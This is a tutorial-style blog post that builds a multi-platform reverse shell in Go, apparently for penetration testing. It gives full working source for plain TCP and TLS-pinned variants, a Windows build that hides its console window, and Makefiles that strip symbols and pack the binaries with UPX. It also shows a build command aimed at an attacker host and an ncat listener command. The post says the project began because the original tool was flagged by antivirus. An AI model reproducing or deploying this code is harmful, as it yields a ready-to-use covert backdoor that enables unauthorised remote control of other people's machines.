Offensive Go - reverse shells
Some time ago, I stumbled upon Hershell
a multi-platform reverse shell written in Go. Unfortunately, it was marked
as malicious by our corporate antivirus solution.
As an exercise, I decided to create my version of the Golang multi-platform reverse-shell based on the Hershell code.
There are some features I would like to have: reverse-shell should compile easily for different platforms: Windows, Linux, macOS for both x86 and x64 architectures.
The program needs to encrypt data in transit and should have some protection from connecting to any listener. In case it is left on the
system by accident with some scheduled task or cron job after pentest,
it should not connect to some other service listening on the same IP/port as the initial listener.
Firstly I have created a simple reverse-shell sending commands and output with TCP socket in plain text - just as a Proof of Concept, to get familiar with a language and create a basic Makefile for building it for multiple platforms.
Then it was re-worked to make use of TLS encryption and verify the server certificate fingerprint with a hardcoded one.
For ease of use, I created a Makefile
that will compile our binary with
configuration parameters such as listener IP address and TCP port.
Binary will be compiled without debugging information and packed with UPX
to reduce its size (Go are pretty large).
Creating a reverse connection and spawning command interpreter
The code is pretty simple. The program takes the listener IP address and port as an argument - then it tries to connect to the target calling the net.Dial
function. When the connection failed it waits 20 seconds and tries again (there will be three tries in total).
When connection is established, prepareCmd()
function is executed - this is a wrapper for os.exec.Command
, it returns a Cmd
struct and will be described later. Next it redirects STDIN, STDOUT and STDERR to the TCP connection and executes command returned by prepareCmd()
function.
Code of go-rsh.go
:
package main
import (
"net"
"os/exec"
"time"
)
var (
lhost string
lport string
)
func main(){
var target string = lhost + ":" + lport
var cmd *exec.Cmd
var err error
var conn net.Conn = nil
var attempt int = 0
for conn == nil && attempt < 3 {
conn, err = net.Dial("tcp", target)
if err != nil {
time.Sleep(20 * time.Second)
conn = nil
} else {
cmd = prepareCmd()
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
cmd.Run()
conn.Close()
}
attempt += 1
}
}
Preparing a command interpreter depending on the operating system
Next, we need to implement a way to spawn a command interpreter, depending on the target operating system.
On Windows OS, the program should execute cmd.exe
on Unix-like
systems (Linux, macOS), it should call /bin/sh
(or /bin/bash
).
I will create two different versions of prepareCmd()
function and include the appropriate source code file during a build in a Makefile
.
Version for Unix like systems:
package main
import "os/exec"
func prepareCmd() (*exec.Cmd) {
cmd := exec.Command("/bin/sh")
return cmd
}
and the second one for Windows:
package main
import "os/exec"
import "syscall"
func prepareCmd() (*exec.Cmd) {
cmd := exec.Command("cmd.exe")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
return cmd
}
Windows version, except spawning cmd.exe
, also sets the additional attribute to hide the command prompt window from the user - usually, you don’t want to have a cmd.exe
window opened for such programs - it’s better when they work in the background.
Building binary with Make
For building our reverse shell, I will use Makefile
. For each build target I
will specify which version of the prepareCmd()
function is used.
Below is a Make target for x86 Windows OS. It is using two source code files: go-rsh.go
and premareCmd_windows.go
.
win32:
echo "Building Windows i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd_windows.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh.exe
here is a Linux target, including go-rsh.go
and prepareCmd.go
source files:
linux32:
echo "Building Linux i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=linux GOARCH=386 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh
At the beginning of the Makefile
, I’m setting some variables - build command, packer, output directory, operating system build is running on, listening to host (by default it takes the current IP address) and listening port.
The last two variables are setting linker flags - one set for Unix-like systems and another for Windows. The difference is -H=windowsgui
that tells the linker to build an executable as a Windows GUI application - this will hide the command prompt window.
The whole Makefile
with Windows, Linux, and macOS build targets can be found below.
CC=go build
PACKER=upx
ODIR=dist
OS := $(shell uname)
ifeq ($(OS), Linux)
LHOST=$$(hostname -I | cut -f1 -d' ')
else
LHOST=$$(ifconfig | grep "inet " | grep -v 127.0.0.1 | cut -d" " -f2 | head -n1)
endif
LPORT=1337
LDFLAGS="-s -w -X main.lhost=$(LHOST) -X main.lport=$(LPORT)"
LDFLAGS_WIN="-s -w -X main.lhost=$(LHOST) -X main.lport=$(LPORT) -H=windowsgui"
.SILENT: clean depends linux32 linux win32 win64 macos
.PHONY: clean
cert := $(ODIR)/$(SRV_PEM)
win32:
echo "Building Windows i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd_windows.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh.exe
rm $(ODIR)/*.bin
win64:
echo "Building Windows reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=windows GOARCH=amd64 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd_windows.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh64.exe
rm $(ODIR)/*.bin
linux32:
echo "Building Linux i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=linux GOARCH=386 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh
rm $(ODIR)/*.bin
linux64:
echo "Building Linux reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=linux GOARCH=amd64 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh64
rm $(ODIR)/*.bin
macos:
echo "Building MacOS reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=darwin GOARCH=amd64 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh-mac
rm $(ODIR)/*.bin
all: win32 win64 linux32 linux macos
clean:
rm -rf $(ODIR)
Adding encryption
Now when we have a simple reverse-shell communicating in plain text over TCP, let’s add encryption. The code will be similar to the previous one, but instead of net.Dail
, I will use tls.Dial
. Another thing to verify during connection creation is the SSL certificate fingerprint.
Server certificate will be generated in Makefile
before build and its
the fingerprint will be hard-coded into binary.
Program main()
function looks like this:
func main() {
var target string = lhost + ":" + lport
var attempt int = 0
var ok bool = false
fprint := strings.Replace(fingerprint, ":", "", -1)
bytesFingerprint, nil := hex.DecodeString(fprint)
config := &tls.Config{InsecureSkipVerify: true}
for ok != true && attempt < 3 {
conn, err := tls.Dial("tcp", target, config)
if err != nil {
time.Sleep(20 * time.Second)
} else {
if ok, err = CheckKeyPin(conn, bytesFingerprint); err != nil || !ok {
os.Exit(1)
}
var cmd *exec.Cmd
cmd = prepareCmd()
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
cmd.Run()
conn.Close()
}
attempt += 1
}
}
In the beginning, it converts a certificate fingerprint to bytes, then configures
TLS to skip certificate validation (accept self-signed certificates). Then
it tries to establish a TLS connection to the listener.
When the connection is successful, the CheckKeyPin()
function verifies the certificate fingerprint.
The CheckKeyPin
function code comes from Hershell, it takes the following arguments: a TLS connection and fingerprint bytes. The function calculates the fingerprint of the certificate sent by the server and compares it with the value passed as an argument.
func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
valid := false
connState := conn.ConnectionState()
for _, peerCert := range connState.PeerCertificates {
hash := sha256.Sum256(peerCert.Raw)
if bytes.Compare(hash[0:], fingerprint) == 0 {
valid = true
}
}
return valid, nil
}
Whole code of encrypted reverse-shell:
package main
import (
"crypto/tls"
"crypto/sha256"
"bytes"
"os/exec"
"time"
"encoding/hex"
"strings"
"os"
)
var (
lhost string
lport string
fingerprint string
)
func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
valid := false
connState := conn.ConnectionState()
for _, peerCert := range connState.PeerCertificates {
hash := sha256.Sum256(peerCert.Raw)
if bytes.Compare(hash[0:], fingerprint) == 0 {
valid = true
}
}
return valid, nil
}
func main() {
var target string = lhost + ":" + lport
var attempt int = 0
var ok bool = false
fprint := strings.Replace(fingerprint, ":", "", -1)
bytesFingerprint, nil := hex.DecodeString(fprint)
config := &tls.Config{InsecureSkipVerify: true}
for ok != true && attempt < 3 {
conn, err := tls.Dial("tcp", target, config)
if err != nil {
time.Sleep(20 * time.Second)
} else {
if ok, err = CheckKeyPin(conn, bytesFingerprint); err != nil || !ok {
os.Exit(1)
}
var cmd *exec.Cmd
cmd = prepareCmd()
cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
cmd.Run()
conn.Close()
}
attempt += 1
}
}
Building everything
I will modify the previous Makefile
by adding an encrypted reverse shell as a
separate artifact from the build. Make will generate server certificate and key
first, then it will build both reverse-shells.
First, define key and certificate file names, then command to generate certificate fingerprint:
SRV_KEY=server.key
SRV_PEM=server.pem
FINGERPRINT=$$(openssl x509 -fingerprint -sha256 -noout -in $(ODIR)/$(SRV_PEM) | cut -d '=' -f2)
Next add new target tat will generate certificate:
$(cert):
@ echo "Generating SSL cert"
@ mkdir -p dist
@ openssl req -subj '/CN=acme.com/O=ACME/C=FR' -new -x509 -keyout $(ODIR)/$(SRV_KEY) -out $(ODIR)/$(SRV_PEM) -days 365 -nodes
@ cat $(ODIR)/$(SRV_KEY) >> $(ODIR)/$(SRV_PEM)
@ echo "For handling incoming SSL connections use for example ncat:\n"
@ echo "ncat --ssl --ssl-cert $(ODIR)/$(SRV_PEM) --ssl-key $(ODIR)/$(SRV_KEY) -lvp $(LPORT)\n\n"
Last thing we need to do, is to modify each target - add certificate generation, before each target and build new code:
win32: $(cert)
echo "Building Windows i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd_windows.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh.exe
GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh-ssl.bin go-rsh-ssl.go prepareCmd_windows.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh-ssl.bin -o $(ODIR)/go-rsh-ssl.exe
rm $(ODIR)/*.bin
Full Makefile:
CC=go build
PACKER=upx
ODIR=dist
OS := $(shell uname)
ifeq ($(OS), Linux)
LHOST=$$(hostname -I | cut -f1 -d' ')
else
LHOST=$$(ifconfig | grep "inet " | grep -v 127.0.0.1 | cut -d" " -f2 | head -n1)
endif
LPORT=1337
SRV_KEY=server.key
SRV_PEM=server.pem
FINGERPRINT=$$(openssl x509 -fingerprint -sha256 -noout -in $(ODIR)/$(SRV_PEM) | cut -d '=' -f2)
LDFLAGS="-s -w -X main.lhost=$(LHOST) -X main.lport=$(LPORT) -X main.fingerprint=$(FINGERPRINT)"
LDFLAGS_WIN="-s -w -X main.lhost=$(LHOST) -X main.lport=$(LPORT) -X main.fingerprint=$(FINGERPRINT) -H=windowsgui"
.SILENT: clean depends linux32 linux64 win32 win64 ssl macos
.PHONY: clean
cert := $(ODIR)/$(SRV_PEM)
$(cert):
@ echo "Generating SSL cert"
@ mkdir -p dist
@ openssl req -subj '/CN=acme.com/O=ACME/C=FR' -new -x509 -keyout $(ODIR)/$(SRV_KEY) -out $(ODIR)/$(SRV_PEM) -days 365 -nodes
@ cat $(ODIR)/$(SRV_KEY) >> $(ODIR)/$(SRV_PEM)
@ echo "For handling incoming SSL connections use for example ncat:\n"
@ echo "ncat --ssl --ssl-cert $(ODIR)/$(SRV_PEM) --ssl-key $(ODIR)/$(SRV_KEY) -lvp $(LPORT)\n\n"
win32: $(cert)
echo "Building Windows i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd_windows.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh.exe
GOOS=windows GOARCH=386 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh-ssl.bin go-rsh-ssl.go prepareCmd_windows.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh-ssl.bin -o $(ODIR)/go-rsh-ssl.exe
rm $(ODIR)/*.bin
win64: $(cert)
echo "Building Windows reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=windows GOARCH=amd64 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd_windows.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh64.exe
GOOS=windows GOARCH=amd64 $(CC) -ldflags $(LDFLAGS_WIN) -o $(ODIR)/go-rsh-ssl.bin go-rsh-ssl.go prepareCmd_windows.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh-ssl.bin -o $(ODIR)/go-rsh-ssl64.exe
rm $(ODIR)/*.bin
linux32: $(cert)
echo "Building Linux i386 reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=linux GOARCH=386 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh
GOOS=linux GOARCH=386 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh-ssl.bin go-rsh-ssl.go prepareCmd.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh-ssl.bin -o $(ODIR)/go-rsh-ssl
rm $(ODIR)/*.bin
linux64: $(cert)
echo "Building Linux reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=linux GOARCH=amd64 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh64
GOOS=linux GOARCH=amd64 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh-ssl.bin go-rsh-ssl.go prepareCmd.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh-ssl.bin -o $(ODIR)/go-rsh-ssl64
rm $(ODIR)/*.bin
macos: $(cert)
echo "Cert fingerprint: $(FINGERPRINT)"
echo "Building MacOS reverse shell - connect back to: $(LHOST):$(LPORT)"
GOOS=darwin GOARCH=amd64 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh.bin go-rsh.go prepareCmd.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh.bin -o $(ODIR)/go-rsh-mac
GOOS=darwin GOARCH=amd64 $(CC) -ldflags $(LDFLAGS) -o $(ODIR)/go-rsh-ssl.bin go-rsh-ssl.go prepareCmd.go
$(PACKER) -qqq -9 $(ODIR)/go-rsh-ssl.bin -o $(ODIR)/go-rsh-ssl-mac
rm $(ODIR)/*.bin
all: win32 win64 linux32 linux macos
clean:
rm -rf $(ODIR)
Now you can build reverse-shells issuing a command:
make linux64 LHOST=<attacker-host> LPORT=<listeneing-port>
Make will save both versions of the reverse shell in the dist
directory:
% ls dist
go-rsh-ssl64
go-rsh64
server.key
server.pe
to start a listener for encrypted reverse-shell use ncat
:
ncat --ssl --ssl-cert dist/server.pem --ssl-key dist/server.key -lvp 1234